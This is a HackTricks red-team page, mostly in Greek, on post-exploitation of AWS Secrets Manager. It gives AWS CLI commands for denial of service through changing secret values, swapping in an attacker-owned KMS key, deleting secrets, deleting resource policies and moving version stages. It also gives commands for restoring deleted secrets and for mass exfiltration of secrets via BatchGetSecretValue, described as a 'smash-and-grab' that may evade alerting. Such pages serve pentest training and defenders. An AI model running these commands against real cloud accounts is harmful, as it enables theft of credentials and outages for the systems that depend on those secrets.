AWS - Secrets Manager Post Exploitation

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Secrets Manager

For more information check:

AWS - Secrets Manager Enum

Read Secrets

Τα secrets είναι ευαίσθητες πληροφορίες, έλεγξε τη σελίδα privesc για να μάθεις πώς να τα διαβάσεις.

DoS Change Secret Value

Αλλάζοντας την τιμή ενός secret μπορείς να προκαλέσεις DoS σε όλα τα συστήματα που εξαρτώνται από αυτή την τιμή.

Warning

Σημείωση ότι οι προηγούμενες τιμές αποθηκεύονται επίσης, οπότε είναι εύκολο να επαναφέρεις την προηγούμενη τιμή.

# Requires permission secretsmanager:PutSecretValue
aws secretsmanager put-secret-value \
--secret-id MyTestSecret \
--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}"

DoS Change KMS key

Εάν ο attacker έχει την άδεια secretsmanager:UpdateSecret, μπορεί να ρυθμίσει το secret ώστε να χρησιμοποιεί ένα KMS key που ανήκει στον attacker. Αυτό το key αρχικά ρυθμίζεται με τρόπο που οποιοσδήποτε μπορεί να έχει πρόσβαση και να το χρησιμοποιεί, επομένως η ενημέρωση του secret με το νέο key είναι δυνατή. Εάν το key δεν ήταν προσβάσιμο, το secret δεν θα μπορούσε να ενημερωθεί.

Αφού αλλάξει το key για το secret, ο attacker τροποποιεί τη διαμόρφωση του key του ώστε μόνο αυτός να μπορεί να έχει πρόσβαση. Με αυτόν τον τρόπο, στις επόμενες εκδόσεις του secret θα κρυπτογραφείται με το νέο key, και επειδή δεν υπάρχει πρόσβαση σε αυτό, η δυνατότητα ανάκτησης του secret θα χαθεί.

Είναι σημαντικό να σημειωθεί ότι αυτή η μη προσβασιμότητα θα συμβεί μόνο σε μεταγενέστερες εκδόσεις, αφού αλλάξει το περιεχόμενο του secret, δεδομένου ότι η τρέχουσα έκδοση εξακολουθεί να είναι κρυπτογραφημένη με το αρχικό KMS key.

aws secretsmanager update-secret \
--secret-id MyTestSecret \
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE

DoS Διαγραφή Secret

Ο ελάχιστος αριθμός ημερών για να διαγραφεί ένα secret είναι 7

aws secretsmanager delete-secret \
--secret-id MyTestSecret \
--recovery-window-in-days 7

secretsmanager:RestoreSecret

Είναι δυνατόν να επαναφερθεί ένα secret, κάτι που επιτρέπει την αποκατάσταση των secret που έχουν προγραμματιστεί για διαγραφή, καθώς η ελάχιστη περίοδος διαγραφής για secrets είναι 7 ημέρες και η μέγιστη 30 ημέρες. Σε συνδυασμό με την άδεια secretsmanager:GetSecretValue, αυτό καθιστά δυνατή την ανάκτηση του περιεχομένου τους.

Για να ανακτήσετε ένα secret που βρίσκεται στη διαδικασία διαγραφής, μπορείτε να χρησιμοποιήσετε την ακόλουθη εντολή:

aws secretsmanager restore-secret \
--secret-id <Secret_Name>

secretsmanager:DeleteResourcePolicy

Αυτή η ενέργεια επιτρέπει τη διαγραφή του resource policy που ελέγχει ποιος μπορεί να έχει πρόσβαση σε ένα secret. Αυτό μπορεί να οδηγήσει σε DoS εάν το resource policy είχε ρυθμιστεί ώστε να επιτρέπει πρόσβαση σε ένα συγκεκριμένο σύνολο χρηστών.

Για να διαγράψετε το resource policy:

aws secretsmanager delete-resource-policy \
--secret-id <Secret_Name>

secretsmanager:UpdateSecretVersionStage

Οι καταστάσεις ενός secret χρησιμοποιούνται για τη διαχείριση των εκδόσεων ενός secret. Το AWSCURRENT σηματοδοτεί την ενεργή έκδοση που χρησιμοποιούν οι εφαρμογές, το AWSPREVIOUS κρατάει την προηγούμενη έκδοση ώστε να μπορείτε να επαναφέρετε αν χρειαστεί, και το AWSPENDING χρησιμοποιείται στη διαδικασία rotation για να προετοιμάσει και να επαληθεύσει μια νέα έκδοση πριν την καταστήσει τρέχουσα.

Οι εφαρμογές πάντα διαβάζουν την έκδοση με το AWSCURRENT. Αν κάποιος μετακινήσει αυτή την ετικέτα σε λάθος έκδοση, οι εφαρμογές θα χρησιμοποιήσουν άκυρα διαπιστευτήρια και ενδέχεται να αποτύχουν.

Το AWSPREVIOUS δεν χρησιμοποιείται αυτόματα. Ωστόσο, αν το AWSCURRENT αφαιρεθεί ή επαναεκχωρηθεί λανθασμένα, μπορεί να φαίνεται ότι όλα εξακολουθούν να τρέχουν με την προηγούμενη έκδοση.

aws secretsmanager update-secret-version-stage \
--secret-id <your-secret-name-or-arn> \
--version-stage AWSCURRENT \
--move-to-version-id <target-version-id> \
--remove-from-version-id <previous-version-id>

Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)

Εκμεταλλευτείτε το Secrets Manager BatchGetSecretValue API για να ανακτήσετε έως 20 secrets σε ένα αίτημα. Αυτό μπορεί να μειώσει δραματικά τον όγκο κλήσεων API σε σύγκριση με την επανάληψη του GetSecretValue για κάθε secret. Εάν χρησιμοποιούνται φίλτρα (tags/name), απαιτείται επίσης η άδεια ListSecrets. Το CloudTrail εξακολουθεί να καταγράφει ένα γεγονός GetSecretValue για κάθε secret που ανακτάται στο batch.

Απαιτούμενες άδειες

  • secretsmanager:BatchGetSecretValue
  • secretsmanager:GetSecretValue for each target secret
  • secretsmanager:ListSecrets if using –filters
  • kms:Decrypt on the CMKs used by the secrets (if not using aws/secretsmanager)

Warning

Σημειώστε ότι η άδεια secretsmanager:BatchGetSecretValue από μόνη της δεν αρκεί για να ανακτήσετε secrets — χρειάζεστε επίσης secretsmanager:GetSecretValue για κάθε secret που θέλετε να ανακτήσετε.

Exfiltrate by explicit list

aws secretsmanager batch-get-secret-value \
--secret-id-list <secret1> <secret2> <secret3> \
--query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'

Εξαγωγή μέσω φίλτρων (tag key/value ή πρόθεμα ονόματος)

# By tag key
aws secretsmanager batch-get-secret-value \
--filters Key=tag-key,Values=env \
--max-results 20 \
--query 'SecretValues[].{Name:Name,Val:SecretString}'

# By tag value
aws secretsmanager batch-get-secret-value \
--filters Key=tag-value,Values=prod \
--max-results 20

# By name prefix
aws secretsmanager batch-get-secret-value \
--filters Key=name,Values=MyApp

Αντιμετώπιση μερικών αποτυχιών

# Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>

Επιπτώσεις

  • Γρήγορο “smash-and-grab” πολλών secrets με λιγότερες κλήσεις API, ενδεχομένως παρακάμπτοντας ειδοποιήσεις που είναι ρυθμισμένες για αιχμές των GetSecretValue.
  • Τα CloudTrail logs εξακολουθούν να περιλαμβάνουν ένα γεγονός GetSecretValue ανά secret που ανακτήθηκε από το batch.

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks